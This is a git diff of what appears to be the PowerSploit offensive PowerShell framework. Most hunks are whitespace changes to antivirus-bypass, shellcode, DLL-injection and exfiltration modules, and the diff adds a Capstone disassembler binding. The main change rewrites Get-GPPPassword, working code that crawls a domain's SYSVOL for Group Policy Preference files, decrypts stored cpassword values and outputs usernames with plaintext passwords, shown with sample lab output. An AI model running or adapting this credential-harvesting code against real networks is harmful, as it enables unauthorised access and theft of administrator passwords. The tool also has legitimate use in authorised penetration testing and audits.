diff --git a/.gitignore b/.gitignore
index b9d6bd9..e15a72d 100644
--- a/.gitignore
+++ b/.gitignore
@@ -45,7 +45,6 @@ local.properties
[Dd]ebug/
[Rr]elease/
-x64/
build/
[Bb]in/
[Oo]bj/
diff --git a/AntivirusBypass/AntivirusBypass.psd1 b/AntivirusBypass/AntivirusBypass.psd1
index ab2918b..29949c1 100644
--- a/AntivirusBypass/AntivirusBypass.psd1
+++ b/AntivirusBypass/AntivirusBypass.psd1
@@ -1,4 +1,4 @@
-@{
+@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'AntivirusBypass.psm1'
@@ -84,4 +84,4 @@ FileList = 'AntivirusBypass.psm1', 'AntivirusBypass.psd1', 'Find-AVSignature.ps1
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
-}
\ No newline at end of file
+}
diff --git a/AntivirusBypass/AntivirusBypass.psm1 b/AntivirusBypass/AntivirusBypass.psm1
index e5234fb..81d3818 100644
--- a/AntivirusBypass/AntivirusBypass.psm1
+++ b/AntivirusBypass/AntivirusBypass.psm1
@@ -1 +1 @@
-Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
\ No newline at end of file
+Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
diff --git a/AntivirusBypass/Find-AVSignature.ps1 b/AntivirusBypass/Find-AVSignature.ps1
index 80e2b1f..d2487b3 100644
--- a/AntivirusBypass/Find-AVSignature.ps1
+++ b/AntivirusBypass/Find-AVSignature.ps1
@@ -183,4 +183,4 @@ http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2
#During testing using large binaries, memory usage was excessive so lets fix that
[System.GC]::Collect()
Write-Verbose "Completed!"
-}
\ No newline at end of file
+}
diff --git a/Capstone/Capstone.psd1 b/Capstone/Capstone.psd1
new file mode 100644
index 0000000..d85443f
--- /dev/null
+++ b/Capstone/Capstone.psd1
@@ -0,0 +1,48 @@
+@{
+
+# Script module or binary module file associated with this manifest.
+ModuleToProcess = 'Capstone.psm1'
+
+# Version number of this module.
+ModuleVersion = '2.0.0.0'
+
+# ID used to uniquely identify this module
+GUID = 'bc335667-02fd-46c4-a3d9-0a5113c9c03b'
+
+# Author of this module
+Author = 'Matthew Graeber'
+
+# Copyright statement for this module
+Copyright = 'see LICENSE.TXT'
+
+# Description of the functionality provided by this module
+Description = 'Capstone Disassembly Framework Binding Module'
+
+# Minimum version of the Windows PowerShell engine required by this module
+PowerShellVersion = '3.0'
+
+# Minimum version of the common language runtime (CLR) required by this module
+CLRVersion = '4.0'
+
+# Assemblies that must be loaded prior to importing this module
+RequiredAssemblies = 'lib/capstone.dll'
+
+# Format files (.ps1xml) to be loaded when importing this module
+FormatsToProcess = 'Get-CSDisassembly.format.ps1xml'
+
+# Functions to export from this module
+FunctionsToExport = '*'
+
+# List of all modules packaged with this module.
+ModuleList = @(@{ModuleName = 'Capstone'; ModuleVersion = '1.0.0.0'; GUID = 'bc335667-02fd-46c4-a3d9-0a5113c9c03b'})
+
+# List of all files packaged with this module
+FileList = 'Capstone.psm1',
+ 'Capstone.psd1',
+ 'Get-CSDisassembly.format.ps1xml',
+ 'LICENSE.TXT',
+ 'README',
+ 'lib/capstone.dll',
+ 'lib/x86/libcapstone.dll',
+ 'lib/x64/libcapstone.dll'
+}
diff --git a/Capstone/Capstone.psm1 b/Capstone/Capstone.psm1
new file mode 100644
index 0000000..6f55c1e
--- /dev/null
+++ b/Capstone/Capstone.psm1
@@ -0,0 +1,173 @@
+#Requires -Modules Capstone
+
+function Get-CSDisassembly
+{
+<#
+.SYNOPSIS
+
+ Disassembles a byte array using the Capstone Engine disassembly framework.
+
+ PowerSploit Function: Get-CSDisassembly
+ Author: Matthew Graeber (@mattifestation)
+ License: See LICENSE.TXT
+ Required Dependencies: lib\capstone.dll, lib\[x86|x64]\libcapstone.dll
+ Optional Dependencies: None
+
+.DESCRIPTION
+
+ Get-CSDisassembly is compatible on 32 and 64-bit.
+
+.PARAMETER Architecture
+
+ Specifies the architecture of the code to be disassembled.
+
+.PARAMETER Mode
+
+ Specifies the mode in which to disassemble code. For example, to disassemble Amd64 code, architecture is set to 'X86' and Mode is set to 'MODE_64'.
+
+.PARAMETER Code
+
+ A byte array consisting of the code to be disassembled.
+
+.PARAMETER Offset
+
+ Specifies the starting address of the disassembly listing.
+
+.PARAMETER Count
+
+ Specifies the maximum number of instructions to disassemble.
+
+.PARAMETER Syntax
+
+ Specifies the syntax flavor to be used (INTEL vs. ATT).
+
+.PARAMETER DetailOn
+
+ Specifies that detailed parsing should be performed - i.e. provide detailed information for each disassembled instruction.
+
+.PARAMETER Verstion
+
+ Prints the running Capstone Framework version.
+
+.EXAMPLE
+
+ $Bytes = [Byte[]] @( 0x8D, 0x4C, 0x32, 0x08, 0x01, 0xD8, 0x81, 0xC6, 0x34, 0x12, 0x00, 0x00 )
+ Get-CSDisassembly -Architecture X86 -Mode Mode16 -Code $Bytes -Offset 0x1000
+
+ $Bytes = [Byte[]] @( 0x8D, 0x4C, 0x32, 0x08, 0x01, 0xD8, 0x81, 0xC6, 0x34, 0x12, 0x00, 0x00 )
+ Get-CSDisassembly -Architecture X86 -Mode Mode32 -Code $Bytes
+
+ $Bytes = [Byte[]] @( 0x8D, 0x4C, 0x32, 0x08, 0x01, 0xD8, 0x81, 0xC6, 0x34, 0x12, 0x00, 0x00 )
+ Get-CSDisassembly -Architecture X86 -Mode Mode32 -Code $Bytes -Syntax ATT
+
+ $Bytes = [Byte[]] @( 0x55, 0x48, 0x8b, 0x05, 0xb8, 0x13, 0x00, 0x00 )
+ Get-CSDisassembly -Architecture X86 -Mode Mode64 -Code $Bytes -DetailOn
+
+ $Bytes = [Byte[]] @( 0xED, 0xFF, 0xFF, 0xEB, 0x04, 0xe0, 0x2d, 0xe5, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x83, 0x22, 0xe5, 0xf1, 0x02, 0x03, 0x0e, 0x00, 0x00, 0xa0, 0xe3, 0x02, 0x30, 0xc1, 0xe7, 0x00, 0x00, 0x53, 0xe3 )
+ Get-CSDisassembly -Architecture Arm -Mode Arm -Code $Bytes
+
+ $Bytes = [Byte[]] @( 0x4f, 0xf0, 0x00, 0x01, 0xbd, 0xe8, 0x00, 0x88, 0xd1, 0xe8, 0x00, 0xf0 )
+ Get-CSDisassembly -Architecture Arm -Mode Thumb -Code $Bytes
+
+ $Bytes = [Byte[]] @( 0x10, 0xf1, 0x10, 0xe7, 0x11, 0xf2, 0x31, 0xe7, 0xdc, 0xa1, 0x2e, 0xf3, 0xe8, 0x4e, 0x62, 0xf3 )
+ Get-CSDisassembly -Architecture Arm -Mode Arm -Code $Bytes
+
+ $Bytes = [Byte[]] @( 0x70, 0x47, 0xeb, 0x46, 0x83, 0xb0, 0xc9, 0x68 )
+ Get-CSDisassembly -Architecture Arm -Mode Thumb -Code $Bytes -DetailOn
+
+ $Bytes = [Byte[]] @( 0x21, 0x7c, 0x02, 0x9b, 0x21, 0x7c, 0x00, 0x53, 0x00, 0x40, 0x21, 0x4b, 0xe1, 0x0b, 0x40, 0xb9 )
+ Get-CSDisassembly -Architecture Arm64 -Mode Arm -Code $Bytes
+
+ $Bytes = [Byte[]] @( 0x0C, 0x10, 0x00, 0x97, 0x00, 0x00, 0x00, 0x00, 0x24, 0x02, 0x00, 0x0c, 0x8f, 0xa2, 0x00, 0x00, 0x34, 0x21, 0x34, 0x56 )
+ Get-CSDisassembly -Architecture Mips -Mode 'Mode32, BigEndian' -Code $Bytes
+
+ $Bytes = [Byte[]] @( 0x56, 0x34, 0x21, 0x34, 0xc2, 0x17, 0x01, 0x00 )
+ Get-CSDisassembly -Architecture Mips -Mode 'Mode64, LittleEndian' -Code $Bytes
+
+ $Bytes = [Byte[]] @( 0x80, 0x20, 0x00, 0x00, 0x80, 0x3f, 0x00, 0x00, 0x10, 0x43, 0x23, 0x0e, 0xd0, 0x44, 0x00, 0x80, 0x4c, 0x43, 0x22, 0x02, 0x2d, 0x03, 0x00, 0x80, 0x7c, 0x43, 0x20, 0x14, 0x7c, 0x43, 0x20, 0x93, 0x4f, 0x20, 0x00, 0x21, 0x4c, 0xc8, 0x00, 0x21 )
+ Get-CSDisassembly -Architecture PPC -Mode BigEndian -Code $Bytes
+
+.INPUTS
+
+ None
+
+ You cannot pipe objects to Get-CSDisassembly.
+
+.OUTPUTS
+
+ Capstone.Instruction[]
+
+ Get-CSDisassembly returns an array of Instruction objects.
+#>
+
+ [OutputType([Capstone.Instruction])]
+ [CmdletBinding(DefaultParameterSetName = 'Disassemble')]
+ Param (
+ [Parameter(Mandatory, ParameterSetName = 'Disassemble')]
+ [Capstone.Architecture]
+ $Architecture,
+
+ [Parameter(Mandatory, ParameterSetName = 'Disassemble')]
+ [Capstone.Mode]
+ $Mode,
+
+ [Parameter(Mandatory, ParameterSetName = 'Disassemble')]
+ [ValidateNotNullOrEmpty()]
+ [Byte[]]
+ $Code,
+
+ [Parameter( ParameterSetName = 'Disassemble' )]
+ [UInt64]
+ $Offset = 0,
+
+ [Parameter( ParameterSetName = 'Disassemble' )]
+ [UInt32]
+ $Count = 0,
+
+ [Parameter( ParameterSetName = 'Disassemble' )]
+ [ValidateSet('Intel', 'ATT')]
+ [String]
+ $Syntax,
+
+ [Parameter( ParameterSetName = 'Disassemble' )]
+ [Switch]
+ $DetailOn,
+
+ [Parameter( ParameterSetName = 'Version' )]
+ [Switch]
+ $Version
+ )
+
+ if ($PsCmdlet.ParameterSetName -eq 'Version')
+ {
+ $Disassembly = New-Object Capstone.Capstone([Capstone.Architecture]::X86, [Capstone.Mode]::Mode16)
+ $Disassembly.Version
+
+ return
+ }
+
+ $Disassembly = New-Object Capstone.Capstone($Architecture, $Mode)
+
+ if ($Disassembly.Version -ne [Capstone.Capstone]::BindingVersion)
+ {
+ Write-Error "capstone.dll version ($([Capstone.Capstone]::BindingVersion.ToString())) should be the same as libcapstone.dll version. Otherwise, undefined behavior is likely."
+ }
+
+ if ($Syntax)
+ {
+ switch ($Syntax)
+ {
+ 'Intel' { $SyntaxMode = [Capstone.OptionValue]::SyntaxIntel }
+ 'ATT' { $SyntaxMode = [Capstone.OptionValue]::SyntaxATT }
+ }
+
+ $Disassembly.SetSyntax($SyntaxMode)
+ }
+
+ if ($DetailOn)
+ {
+ $Disassembly.SetDetail($True)
+ }
+
+ $Disassembly.Disassemble($Code, $Offset, $Count)
+}
\ No newline at end of file
diff --git a/Capstone/Get-CSDisassembly.format.ps1xml b/Capstone/Get-CSDisassembly.format.ps1xml
new file mode 100644
index 0000000..e9703a2
--- /dev/null
+++ b/Capstone/Get-CSDisassembly.format.ps1xml
@@ -0,0 +1,41 @@
+
+
+
+
+ InstructionView
+
+ Capstone.Instruction
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Address
+ 0x{0:X8}
+
+
+ Mnemonic
+
+
+ Operands
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Capstone/LICENSE.TXT b/Capstone/LICENSE.TXT
new file mode 100644
index 0000000..9edde0b
--- /dev/null
+++ b/Capstone/LICENSE.TXT
@@ -0,0 +1,30 @@
+This is the software license for Capstone disassembly framework.
+Capstone has been designed & implemented by Nguyen Anh Quynh
+See http://www.capstone-engine.org for further information.
+
+Copyright (c) 2013, COSEINC.
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+* Redistributions of source code must retain the above copyright notice,
+ this list of conditions and the following disclaimer.
+* Redistributions in binary form must reproduce the above copyright notice,
+ this list of conditions and the following disclaimer in the documentation
+ and/or other materials provided with the distribution.
+* Neither the name of the developer(s) nor the names of its
+ contributors may be used to endorse or promote products derived from this
+ software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGE.
diff --git a/Capstone/README b/Capstone/README
new file mode 100644
index 0000000..cbab0cb
--- /dev/null
+++ b/Capstone/README
@@ -0,0 +1,17 @@
+This module has three dependencies:
+* lib\x86\libcapstone.dll (the 32-bit unmanaged Capstone library)
+* lib\x64\libcapstone.dll (the 64-bit unmanaged Capstone library)
+* lib\capstone.dll (the managed C# bindings to the Capstone Framework)
+
+To install this module, drop the entire ScriptModification folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.
+
+The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules"
+The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"
+
+To use the module, type `Import-Module Capstone`
+
+To see the commands imported, type `Get-Command -Module Capstone`
+
+For help on each individual command, Get-Help is your friend.
+
+Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.
\ No newline at end of file
diff --git a/Capstone/lib/capstone.dll b/Capstone/lib/capstone.dll
new file mode 100644
index 0000000..809932b
Binary files /dev/null and b/Capstone/lib/capstone.dll differ
diff --git a/Capstone/lib/place_capstone.dll_here b/Capstone/lib/place_capstone.dll_here
new file mode 100644
index 0000000..e69de29
diff --git a/Capstone/lib/x64/libcapstone.dll b/Capstone/lib/x64/libcapstone.dll
new file mode 100644
index 0000000..8d0a578
Binary files /dev/null and b/Capstone/lib/x64/libcapstone.dll differ
diff --git a/Capstone/lib/x64/place_64-bit_libcapstone.dll_here b/Capstone/lib/x64/place_64-bit_libcapstone.dll_here
new file mode 100644
index 0000000..e69de29
diff --git a/Capstone/lib/x86/libcapstone.dll b/Capstone/lib/x86/libcapstone.dll
new file mode 100644
index 0000000..bb919a6
Binary files /dev/null and b/Capstone/lib/x86/libcapstone.dll differ
diff --git a/Capstone/lib/x86/place_32-bit_libcapstone.dll_here b/Capstone/lib/x86/place_32-bit_libcapstone.dll_here
new file mode 100644
index 0000000..e69de29
diff --git a/CodeExecution/CodeExecution.psd1 b/CodeExecution/CodeExecution.psd1
index 394c7de..07963fc 100644
--- a/CodeExecution/CodeExecution.psd1
+++ b/CodeExecution/CodeExecution.psd1
@@ -1,4 +1,4 @@
-@{
+@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'CodeExecution.psm1'
@@ -85,4 +85,4 @@ FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', '
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
-}
\ No newline at end of file
+}
diff --git a/CodeExecution/CodeExecution.psm1 b/CodeExecution/CodeExecution.psm1
index e5234fb..81d3818 100644
--- a/CodeExecution/CodeExecution.psm1
+++ b/CodeExecution/CodeExecution.psm1
@@ -1 +1 @@
-Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
\ No newline at end of file
+Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
diff --git a/CodeExecution/Invoke-DllInjection.ps1 b/CodeExecution/Invoke-DllInjection.ps1
index 572a911..8395ab8 100644
--- a/CodeExecution/Invoke-DllInjection.ps1
+++ b/CodeExecution/Invoke-DllInjection.ps1
@@ -325,4 +325,4 @@ http://www.exploit-monday.com
}
Write-Verbose "Injected DLL information:$($DllInfo)"
-}
\ No newline at end of file
+}
diff --git a/CodeExecution/Invoke-ReflectivePEInjection.ps1 b/CodeExecution/Invoke-ReflectivePEInjection.ps1
index ccc1dd6..599212b 100644
--- a/CodeExecution/Invoke-ReflectivePEInjection.ps1
+++ b/CodeExecution/Invoke-ReflectivePEInjection.ps1
@@ -2840,4 +2840,4 @@ Function Main
}
Main
-}
\ No newline at end of file
+}
diff --git a/CodeExecution/Invoke-ShellcodeMSIL.ps1 b/CodeExecution/Invoke-ShellcodeMSIL.ps1
index 4123d06..158a643 100644
--- a/CodeExecution/Invoke-ShellcodeMSIL.ps1
+++ b/CodeExecution/Invoke-ShellcodeMSIL.ps1
@@ -1,4 +1,4 @@
-function Invoke-ShellcodeMSIL
+function Invoke-ShellcodeMSIL
{
<#
.SYNOPSIS
@@ -264,4 +264,4 @@
{
Write-Verbose 'Shellcode executed successfully!'
}
-}
\ No newline at end of file
+}
diff --git a/CodeExecution/Watch-BlueScreen.ps1 b/CodeExecution/Watch-BlueScreen.ps1
index 2fa317e..0a12a91 100644
--- a/CodeExecution/Watch-BlueScreen.ps1
+++ b/CodeExecution/Watch-BlueScreen.ps1
@@ -1,4 +1,4 @@
-function Watch-BlueScreen
+function Watch-BlueScreen
{
<#
.SYNOPSIS
@@ -15,7 +15,7 @@
.NOTES
Tavis Ormandy documented this technique on 2/3/2013 and Nikita Tarakanov
- tweeted this technique on 5/13/2013.
+ ?tweeted this technique on 5/13/2013.
.LINK
@@ -75,4 +75,4 @@
$Gdi32::SetLayout($DC, $LAYOUT_RTL) | Out-Null
$Gdi32::ScaleWindowExtEx($DC, [Int32]::MinValue, -1, 1, 1, [IntPtr]::Zero) | Out-Null
}
-}
\ No newline at end of file
+}
diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1
index 28dbcab..2a5a152 100644
--- a/Exfiltration/Exfiltration.psd1
+++ b/Exfiltration/Exfiltration.psd1
@@ -1,4 +1,4 @@
-@{
+@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'Exfiltration.psm1'
@@ -75,7 +75,8 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID =
# List of all files packaged with this module
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1',
- 'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1', 'Invoke-CredentialInjection.ps1'
+ 'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1', 'Invoke-CredentialInjection.ps1',
+ 'VolumeShadowCopyTools.ps1'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
@@ -86,4 +87,4 @@ FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1',
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
-}
\ No newline at end of file
+}
diff --git a/Exfiltration/Exfiltration.psm1 b/Exfiltration/Exfiltration.psm1
index e5234fb..81d3818 100644
--- a/Exfiltration/Exfiltration.psm1
+++ b/Exfiltration/Exfiltration.psm1
@@ -1 +1 @@
-Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
\ No newline at end of file
+Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1
index 7dbd23d..ea87de4 100644
--- a/Exfiltration/Get-GPPPassword.ps1
+++ b/Exfiltration/Get-GPPPassword.ps1
@@ -1,4 +1,4 @@
-function Get-GPPPassword {
+function Get-GPPPassword {
<#
.SYNOPSIS
@@ -9,6 +9,7 @@
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
+ Version: 2.4.2
.DESCRIPTION
@@ -16,7 +17,43 @@
.EXAMPLE
- Get-GPPPassword
+ PS C:\> Get-GPPPassword
+
+ NewName : [BLANK]
+ Changed : {2014-02-21 05:28:53}
+ Passwords : {password12}
+ UserNames : {test1}
+ File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
+
+ NewName : {mspresenters}
+ Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
+ Passwords : {Recycling*3ftw!, password123, password1234}
+ UserNames : {Administrator (built-in), DummyAccount, dummy2}
+ File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
+
+ NewName : [BLANK]
+ Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
+ Passwords : {password, password1234$}
+ UserNames : {administrator, admin}
+ File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
+
+ NewName : [BLANK]
+ Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
+ Passwords : {password, read123}
+ UserNames : {DEMO\Administrator, admin}
+ File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
+
+.EXAMPLE
+
+ PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
+
+ password
+ password12
+ password123
+ password1234
+ password1234$
+ read123
+ Recycling*3ftw!
.LINK
@@ -29,8 +66,12 @@
[CmdletBinding()]
Param ()
+ #Some XML issues between versions
+ Set-StrictMode -Version 2
+
#define helper function that decodes and decrypts password
function Get-DecryptedCpassword {
+ [CmdletBinding()]
Param (
[string] $Cpassword
)
@@ -38,7 +79,12 @@
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
- if ($Mod -ne 0) {$Cpassword += ('=' * (4 - $Mod))}
+
+ switch ($Mod) {
+ '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
+ '2' {$Cpassword += ('=' * (4 - $Mod))}
+ '3' {$Cpassword += ('=' * (4 - $Mod))}
+ }
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
@@ -60,78 +106,119 @@
catch {Write-Error $Error[0]}
}
- #ensure that machine is domain joined and script is running as a domain account
- if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) )
- {
- throw 'Machine is not joined to a domain.'
- }
+ #define helper function to parse fields from xml files
+ function Get-GPPInnerFields {
+ [CmdletBinding()]
+ Param (
+ $File
+ )
- #discover potential files containing passwords ; not complaining in case of denied access to a directory
- $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml'
-
- if ( -not $XMlFiles )
- {
- throw 'No files containing encrypted passwords found.'
- }
-
- foreach ($File in $XMLFiles) {
-
try {
- $Filename = $File.Name
- $Filepath = $File.VersionInfo.FileName
-
- #put filename in $XmlFile
+
+ $Filename = Split-Path $File -Leaf
[xml] $Xml = Get-Content ($File)
- #declare blank variables
- $Cpassword = ''
- $UserName = ''
- $NewName = ''
- $Changed = ''
+ #declare empty arrays
+ $Cpassword = @()
+ $UserName = @()
+ $NewName = @()
+ $Changed = @()
+ $Password = @()
- switch ($Filename) {
+ #check for password field
+ if ($Xml.innerxml -like "*cpassword*"){
+
+ Write-Verbose "Potential password in $File"
+
+ switch ($Filename) {
- 'Groups.xml' {
- $Cpassword = $Xml.Groups.User.Properties.cpassword
- $UserName = $Xml.Groups.User.Properties.userName
- $NewName = $Xml.Groups.User.Properties.newName
- $Changed = $Xml.Groups.User.changed
- }
+ 'Groups.xml' {
+ $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ }
- 'Services.xml' {
- $Cpassword = $Xml.NTServices.NTService.Properties.cpassword
- $UserName = $Xml.NTServices.NTService.Properties.accountName
- $Changed = $Xml.NTServices.NTService.changed
- }
+ 'Services.xml' {
+ $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ }
- 'Scheduledtasks.xml' {
- $Cpassword = $Xml.ScheduledTasks.Task.Properties.cpassword
- $UserName = $Xml.ScheduledTasks.Task.Properties.runAs
- $Changed = $Xml.ScheduledTasks.Task.changed
- }
+ 'Scheduledtasks.xml' {
+ $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ }
- 'DataSources.xml' {
- $Cpassword = $Xml.DataSources.DataSource.Properties.cpassword
- $UserName = $Xml.DataSources.DataSource.Properties.username
- $Changed = $Xml.DataSources.DataSource.changed
+ 'DataSources.xml' {
+ $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ }
+
+ 'Printers.xml' {
+ $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ }
+
+ 'Drives.xml' {
+ $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
+ }
}
- }
-
- if ($Cpassword) {$Password = Get-DecryptedCpassword $Cpassword}
-
- else {Write-Verbose "No encrypted passwords found in $Filepath"}
-
+ }
+
+ foreach ($Pass in $Cpassword) {
+ Write-Verbose "Decrypting $Pass"
+ $DecryptedPassword = Get-DecryptedCpassword $Pass
+ Write-Verbose "Decrypted a password of $DecryptedPassword"
+ #append any new passwords to array
+ $Password += , $DecryptedPassword
+ }
+
+ #put [BLANK] in variables
+ if (!($Password)) {$Password = '[BLANK]'}
+ if (!($UserName)) {$UserName = '[BLANK]'}
+ if (!($Changed)) {$Changed = '[BLANK]'}
+ if (!($NewName)) {$NewName = '[BLANK]'}
+
#Create custom object to output results
- $ObjectProperties = @{'Password' = $Password;
- 'UserName' = $UserName;
+ $ObjectProperties = @{'Passwords' = $Password;
+ 'UserNames' = $UserName;
'Changed' = $Changed;
- 'NewName' = $NewName
- 'File' = $Filepath}
+ 'NewName' = $NewName;
+ 'File' = $File}
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
- Write-Output $ResultsObject
+ Write-Verbose "The password is between {} and may be more than one value."
+ if ($ResultsObject) {Return $ResultsObject}
}
-
- catch {Write-Error $Error[0]}
+
+ catch {Write-Error $Error[0]}
}
+
+ try {
+ #ensure that machine is domain joined and script is running as a domain account
+ if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
+ throw 'Machine is not a domain member or User is not a member of the domain.'
+ }
+
+ #discover potential files containing passwords ; not complaining in case of denied access to a directory
+ Write-Verbose 'Searching the DC. This could take a while.'
+ $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
+
+ if ( -not $XMlFiles ) {throw 'No preference files found.'}
+
+ Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
+
+ foreach ($File in $XMLFiles) {
+ $Result = (Get-GppInnerFields $File.Fullname)
+ Write-Output $Result
+ }
+ }
+
+ catch {Write-Error $Error[0]}
}
